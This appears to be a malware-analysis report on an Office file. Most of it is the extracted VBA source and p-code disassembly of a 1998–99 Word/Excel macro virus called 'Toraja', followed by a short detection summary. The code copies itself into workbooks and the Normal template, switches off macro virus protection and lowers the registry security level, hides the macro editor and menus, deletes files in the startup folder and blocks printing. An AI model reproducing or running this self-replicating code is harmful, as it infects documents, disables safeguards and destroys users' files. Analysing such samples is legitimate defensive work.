Application.DisplayRecentFiles = False
End Sub
Sub XlsActive()
On Error Resume Next
Application.DisplayAlerts = False
CreateEvents
TempActive
Application.OnSheetActivate = "": Application.OnSheetDeactivate = "": Application.OnWindow = ""
MenuExcel
Application.OnWindow = fStartUp & Ver & ".XLS" & "!XlsActive"
Application.DisplayAlerts = True
End Sub
Sub TempActive()
On Error Resume Next
Aplikasi
If KompProject(Temp, Active, True) = True Then
   SetCusProp
   Active.VBProject.Name = MacName
   If Len(Active.Path) <> 0 Then Active.Save
End If
End Sub
Function EIKModul(Asal, Tujuan, Komp As String) As Boolean
On Error GoTo Salah
    Asal.VBProject.VBComponents(Komp).Export tempPath & Komp
    Tujuan.VBProject.VBComponents.Import tempPath & Komp
    EIKModul = True: Kill tempPath & Komp
Salah:
End Function
Sub OpenFile()
On Error Resume Next
Application.DisplayAlerts = False
Application.Dialogs(1).Show
XlsActive
End Sub
Private Sub CreateEvents()
Dim VBComp
On Error GoTo Salah
Lanjut:
If ActiveWorkbook.CustomDocumentProperties.Item("Event").Value <> MacName & Ver And ActiveWorkbook.Name <> fStartUp & Ver & ".XLS" Then
On Error GoTo FatalError
    Set VBComp = ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
    With VBComp
            .DeleteLines 1, .CountOfLines: .InsertLines 1, "Private Sub Workbook_BeforePrint(Cancel As Boolean)"
            .InsertLines 2, "On Error Resume Next": .InsertLines 3, "If PrintOke = False Then Cancel = True": .InsertLines 4, "End Sub"
    End With
ActiveWorkbook.CustomDocumentProperties.Item("Event").Value = MacName & Ver
End If
FatalError:
Exit Sub
Salah:
ActiveWorkbook.CustomDocumentProperties.Add ("Event"), False, 4, ""
Resume Lanjut
End Sub
Sub BuatXlsActive()
Dim Baru As String
On Error Resume Next
Application.ScreenUpdating = False
Workbooks.Add
Baru = Application.StartupPath & Application.PathSeparator & fStartUp & Ver & ".XLS"
ActiveWorkbook.SaveAs Baru
ActiveWindow.Visible = False
ActiveTemp
End Sub
Sub ActiveTemp()
On Error Resume Next
Aplikasi
If KompProject(Active, Temp, True) = True Then
   Temp.VBProject.Name = TempName & Ver
   Temp.Save
   blnFound = True
End If
End Sub
Sub MenuExcel()
On Error Resume Next
WordExcel
CommandBars("Ply").Controls("View Code").Delete
With Application
    .OnKey "%{F11}", "Serang": .OnKey "%{F8}", "Serang": .OnKey "%{F2}", "Serang"
    .OnKey "%{F4}", "Serang": .OnKey "{F12}", "Serang": .OnKey "^{o}", "OpenFile"
End With
CommandBars("Standard").Controls("Open").OnAction = "OpenFile"
CommandBars("Worksheet Menu Bar").Controls("File").Controls("Open...").OnAction = "OpenFile"
CommandBars("Worksheet Menu Bar").Controls("Window").Controls("Unhide...").Enabled = False
End Sub
Sub WordExcel()
On Error Resume Next
For Each ctl In CommandBars.ActiveMenuBar.Controls("Tools").Controls("Macro").Controls
    ctl.OnAction = "Serang"
Next ctl
cmdBars CommandBars("Control Toolbox"), True: cmdBars CommandBars("Forms"), True: cmdBars CommandBars("ActiveX Control"), True
cmdBars CommandBars("Visual Basic"), True: cmdBars CommandBars.ActiveMenuBar, False: cmdBars CommandBars("Formatting"), False
cmdBars CommandBars("Standard"), False
End Sub
Sub cmdBars(cmd, blnVis As Boolean)
With cmd
If blnVis = True Then .Enabled = False: .Visible = False: .Protection = 8
    .Protection = 1
End With
End Sub
Sub MenuWord()
On Error Resume Next
CustomizationContext = NormalTemplate
With Options
    .VirusProtection = False: .SaveNormalPrompt = False: .SaveInterval = 0
End With
FindKey(BuildKeyCode(1024, 119)).Disable: FindKey(BuildKeyCode(1024, 112)).Disable
WordExcel
End Sub
Sub SetCusProp()
On Error Resume Next
Set CusProp = Active.CustomDocumentProperties
CusProp.Add "Author", False, 4, "": CusProp.Add "cPrt", False, 1, 0
If GetSetting(regApp, regSecSet, "AuthorKeyWord") = "Marsel" Then CusProp.Item("Author").Value = "Lina"
End Sub
Function GetCreator() As Boolean
On Error GoTo Salah
Aplikasi
Set CusProp = Active.CustomDocumentProperties
If CusProp.Item("Author").Value = "Lina" Then GetCreator = True
Salah:
End Function
Sub FoundIt()
TempActive
blnFound = False
End Sub
Function Tator() As Boolean
If (KeyWord = False) And (GetCreator = False) Then Tator = True
End Function
Sub Aplikasi()
If Application.Name = "Microsoft Word" Then Doc Else Xls
End Sub
Sub Doc()
ThisDocNT
CreateThisDocAD
tempPath = Application.NormalTemplate.Path & Application.PathSeparator: Set Active = ActiveDocument: Set Temp = NormalTemplate: Set AllActive = Documents
End Sub
Sub Xls()
Set Active = ActiveWorkbook: Set Temp = Workbooks(fStartUp & Ver & ".XLS"): tempPath = Application.TemplatesPath: Set AllActive = Workbooks
End Sub
Sub CreateThisDocAD()
On Error GoTo Salah
Dim i, VBCompNT, VBCompAD
Dim sLine As String
Set VBCompNT = NormalTemplate.VBProject.VBComponents(MacName & Ver).CodeModule
Set VBCompAD = ActiveDocument.VBProject.VBComponents("ThisDocument").CodeModule
If VBCompNT.CountOfLines <> VBCompAD.CountOfLines - 1 Then
    VBCompAD.DeleteLines 1, VBCompAD.CountOfLines
    For i = 1 To VBCompNT.CountOfLines
         sLine = VBCompNT.Lines(i, 1)
        If Left(sLine, 1) = "'" Then VBCompAD.InsertLines i, Right(sLine, Len(sLine) - 1) Else VBCompAD.InsertLines i, "'" & sLine
    Next i
End If
Salah:
End Sub
'Function CheckComp(Tujuan)
'Dim i, x, VBComp
'Dim sLine As String: Dim blnM As Boolean
'Const mName = "Toraja01"
'blnM = False
'For Each VBComp In Tujuan.VBProject.VBComponents
'   If VBComp.Name <> "ThisDocument" And VBComp.Name <> "Reference To Normal" Then
'        If VBComp.Name = mName Then If Tujuan.VBProject.VBComponents(mName).CodeModule.CountOfLines = _
'           ActiveDocument.VBProject.VBComponents("ThisDocument").CodeModule.CountOfLines - 1 Then _
'            blnM = True Else GoSub RemoveKomp Else GoSub RemoveKomp
'   End If
'Next VBComp
'If blnM = False Then
'x = Tujuan.VBProject.VBComponents.Count
'Tujuan.VBProject.VBComponents.Add 1
'Tujuan.VBProject.VBComponents(x + 1).Name = mName
'Set VBComp = Tujuan.VBProject.VBComponents(mName).CodeModule
'For i = 1 To ActiveDocument.VBProject.VBComponents("ThisDocument").CodeModule.CountOfLines
'     sLine = ActiveDocument.VBProject.VBComponents("ThisDocument").CodeModule.Lines(i, 1)
'     If Left(sLine, 1) = "'" Then VBComp.InsertLines i, Right(sLine, Len(sLine) - 1) Else VBComp.InsertLines i, "'" & sLine
'Next i
'If Len(Tujuan.Path) <> 0 Then Tujuan.Save
'End If
'Salah:
'Exit Function
'RemoveKomp:
'Tujuan.VBProject.VBComponents.Remove Tujuan.VBProject.VBComponents(VBComp.Name): Return
'End Function
'Sub AutoClose()
'On Error Resume Next
'CheckComp NormalTemplate
'CheckComp ActiveDocument
'Application.Run "RemoveAll"
'End Sub
'

'


' Processing file: /tmp/qstore_isube2h1
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 30966 bytes
' Line #0:
' 	QuoteRem 0x0000 0x0029 "Rem Created       : Toraja High Land 1998"
' Line #1:
' 	QuoteRem 0x0000 0x001D "Rem Modified      : July 1999"
' Line #2:
' 	QuoteRem 0x0000 0x0042 "Rem --------------------------------------------------------------"
' Line #3:
' 	QuoteRem 0x0000 0x000F "Option Explicit"
' Line #4:
' 	QuoteRem 0x0000 0x0013 "Option Compare Text"
' Line #5:
' 	QuoteRem 0x0000 0x0018 "Dim Komp As Variant, ctl"
' Line #6:
' 	QuoteRem 0x0000 0x00B1 "Public Const regApp As String = "Application": Public Const regSecSet As String = "Settings": Public Const TempName As String = "Tana": Public Const MacName As String = "Toraja""
' Line #7:
' 	QuoteRem 0x0000 0x0068 "Public Const fStartUp As String = "AutoStart": Public Const Ver As String = "01": Dim CusProp, actWindow"
' Line #8:
' 	QuoteRem 0x0000 0x0063 "Global Active, Temp, tempPath, AllActive, blnFound As Boolean, blnXls As Boolean, blnMod As Boolean"
' Line #9:
' 	QuoteRem 0x0000 0x000E "Sub Register()"
' Line #10:
' 	QuoteRem 0x0000 0x0014 "On Error Resume Next"
' Line #11:
' 	QuoteRem 0x0000 0x0081 "If GetSetting(regApp, regSecSet, "FirstRun") = "" Then SaveSetting regApp, regSecSet, "FirstRun", Format(Date + 30, "dd-mm-yyyy")"
' Line #12:
' 	QuoteRem 0x0000 0x0076 "If GetSetting(regApp, regSecSet, "UserKeyWord") <> Ver & MacName Then SaveSetting regApp, regSecSet, "UserKeyWord", """
' Line #13:
' 	QuoteRem 0x0000 0x0075 "If GetSetting(regApp, regSecSet, "AuthorKeyWord") <> "Marsel" Then SaveSetting regApp, regSecSet, "AuthorKeyWord", """
' Line #14:
' 	QuoteRem 0x0000 0x0007 "End Sub"
' Line #15:
' 	QuoteRem 0x0000 0x001C "Function Serang() As Boolean"
' Line #16:
' 	QuoteRem 0x0000 0x0013 "Dim getDate As Date"
' Line #17:
' 	QuoteRem 0x0000 0x0014 "On Error Resume Next"
' Line #18:
' 	QuoteRem 0x0000 0x0033 "getDate = GetSetting(regApp, regSecSet, "FirstRun")"
' Line #19:
' 	QuoteRem 0x0000 0x0070 "If Format(getDate, "dd-mm-yyyy") <= Format(Date, "dd-mm-yyyy") Then MsgBox "This command not available now.", 48"
' Line #20:
' 	QuoteRem 0x0000 0x000C "End Function"
' Line #21:
' 	QuoteRem 0x0000 0x000E "Sub AutoExec()"
' Line #22:
' 	QuoteRem 0x0000 0x0014 "On Error Resume Next"
' Line #23:
' 	QuoteRem 0x0000 0x001F "Application.EnableCancelKey = 0"
' Line #24:
' 	QuoteRem 0x0000 0x003E "RemStartUp Application.StartupPath & Application.PathSeparator"
' Line #25:
' 	QuoteRem 0x0000 0x0031 "If MacroContainer <> fStartUp & Ver & ".dot" Then"
' Line #26:
' 	QuoteRem 0x0000 0x0071 "    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 3"
' Line #27:
' 	QuoteRem 0x0000 0x002A "    Application.DisplayRecentFiles = False"
' Line #28:
' 	QuoteRem 0x0000 0x000C "    MenuWord"
' Line #29:
' 	QuoteRem 0x0000 0x000C "    Register"
' Line #30:
' 	QuoteRem 0x0000 0x0004 "Else"
' Line #31:
' 	QuoteRem 0x0000 0x003E "    KompProject fStartUp & Ver & ".dot", NormalTemplate, False"
' Line #32:
' 	QuoteRem 0x0000 0x001A "    If blnMod = False Then"
' Line #33:
' 	QuoteRem 0x0000 0x009A "        Application.OrganizerCopy Application.StartupPath & Application.PathSeparator & fStartUp & Ver & ".dat", NormalTemplate.FullName, MacName & Ver, 3"
' Line #34:
' 	QuoteRem 0x0000 0x001B "        NormalTemplate.Save"
' Line #35:
' 	QuoteRem 0x0000 0x000A "    End If"
' Line #36:
' 	QuoteRem 0x0000 0x0021 "    WordBasic.DisableAutoMacros 1"
' Line #37:
' 	QuoteRem 0x0000 0x0017 "    AddIns.Unload False"
' Line #38:
' 	QuoteRem 0x0000 0x0021 "    WordBasic.DisableAutoMacros 0"
' Line #39:
' 	QuoteRem 0x0000 0x000E "    TempActive"
' Line #40:
' 	QuoteRem 0x0000 0x0006 "End If"
' Line #41:
' 	QuoteRem 0x0000 0x0007 "End Sub"
' Line #42:
' 	QuoteRem 0x0000 0x000D "Sub AutoNew()"
' Line #43:
' 	QuoteRem 0x0000 0x0014 "On Error Resume Next"
' Line #44:
' 	QuoteRem 0x0000 0x000A "TempActive"
' Line #45:
' 	QuoteRem 0x0000 0x001A "ActiveWindow.View.Type = 3"
' Line #46:
' 	QuoteRem 0x0000 0x0007 "End Sub"
' Line #47:
' 	QuoteRem 0x0000 0x0025 "Function RemStartUp(fPath) As Boolean"
' Line #48:
' 	QuoteRem 0x0000 0x0013 "On Error GoTo Salah"
' Line #49:
' 	QuoteRem 0x0000 0x0030 "blnXls = False: blnFound = False: blnMod = False"
' Line #50:
' 	QuoteRem 0x0000 0x001C "If Dir(fPath, 16) <> "" Then"
' Line #51:
' 	QuoteRem 0x0000 0x0020 "  Komp = Dir(fPath, 0 Or 1 Or 2)"
' Line #52:
' 	QuoteRem 0x0000 0x0015 "  Do While Komp <> """
' Line #53:
' 	QuoteRem 0x0000 0x0051 "    If Komp = fStartUp & Ver & ".dot" Then blnMod = True: SetAttr fPath & Komp, 1"
' Line #54:
' 	QuoteRem 0x0000 0x0057 "    If Komp = fStartUp & Ver & ".dat" Then blnFound = True: SetAttr fPath & Komp, 1 + 2"
' Line #55:
' 	QuoteRem 0x0000 0x0051 "    If Komp = fStartUp & Ver & ".XLS" Then blnXls = True: SetAttr fPath & Komp, 1"
' Line #56:
' 	LineCont 0x0008 01 00 91 FF 01 00 30 FF
' 	QuoteRem 0x0000 0x0109 "    If Komp <> "." And Komp <> ".." And Komp <> fStartUp & Ver & ".dot" And Komp <> fStartUp & Ver & ".dat" And'       Komp <> "MSCREATE.DIR" And Left(Komp, 2) <> "~$" And Komp <> fStartUp & Ver & ".XLS" Then'       SetAttr fPath & Komp, vbNormal: Kill fPath & Komp"
' Line #57:
' 	QuoteRem 0x0000 0x0010 "      Komp = Dir"
' Line #58:
' 	QuoteRem 0x0000 0x0006 "  Loop"
' Line #59:
' 	QuoteRem 0x0000 0x003D "  If blnMod = True And blnFound = True Then RemStartUp = True"
' Line #60:
' 	QuoteRem 0x0000 0x0006 "End If"
' Line #61:
' 	QuoteRem 0x0000 0x000D "Exit Function"
' Line #62:
' 	QuoteRem 0x0000 0x0006 "Salah:"
' Line #63:
' 	QuoteRem 0x0000 0x000B "Resume Next"
' Line #64:
' 	QuoteRem 0x0000 0x000C "End Function"
' Line #65:
' 	QuoteRem 0x0000 0x000E "Sub AutoOpen()"
' Line #66:
' 	QuoteRem 0x0000 0x0014 "On Error Resume Next"
' Line #67:
' 	QuoteRem 0x0000 0x0014 "Dim strRun As String"
' Line #68:
' 	QuoteRem 0x0000 0x000A "ActiveTemp"
…
embedded_office_off0000eef6.ole embedded-office Embedded OLE/CFB Office body inside ole container at offset 0xEEF6 37642 bytes
SHA-256: 30d379a9ef61d7aeb9bbd219c46ce944b03a6d406bacd92a76120186c04af0f2
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.

Open this report in the interactive analyzer, or submit your own file for analysis.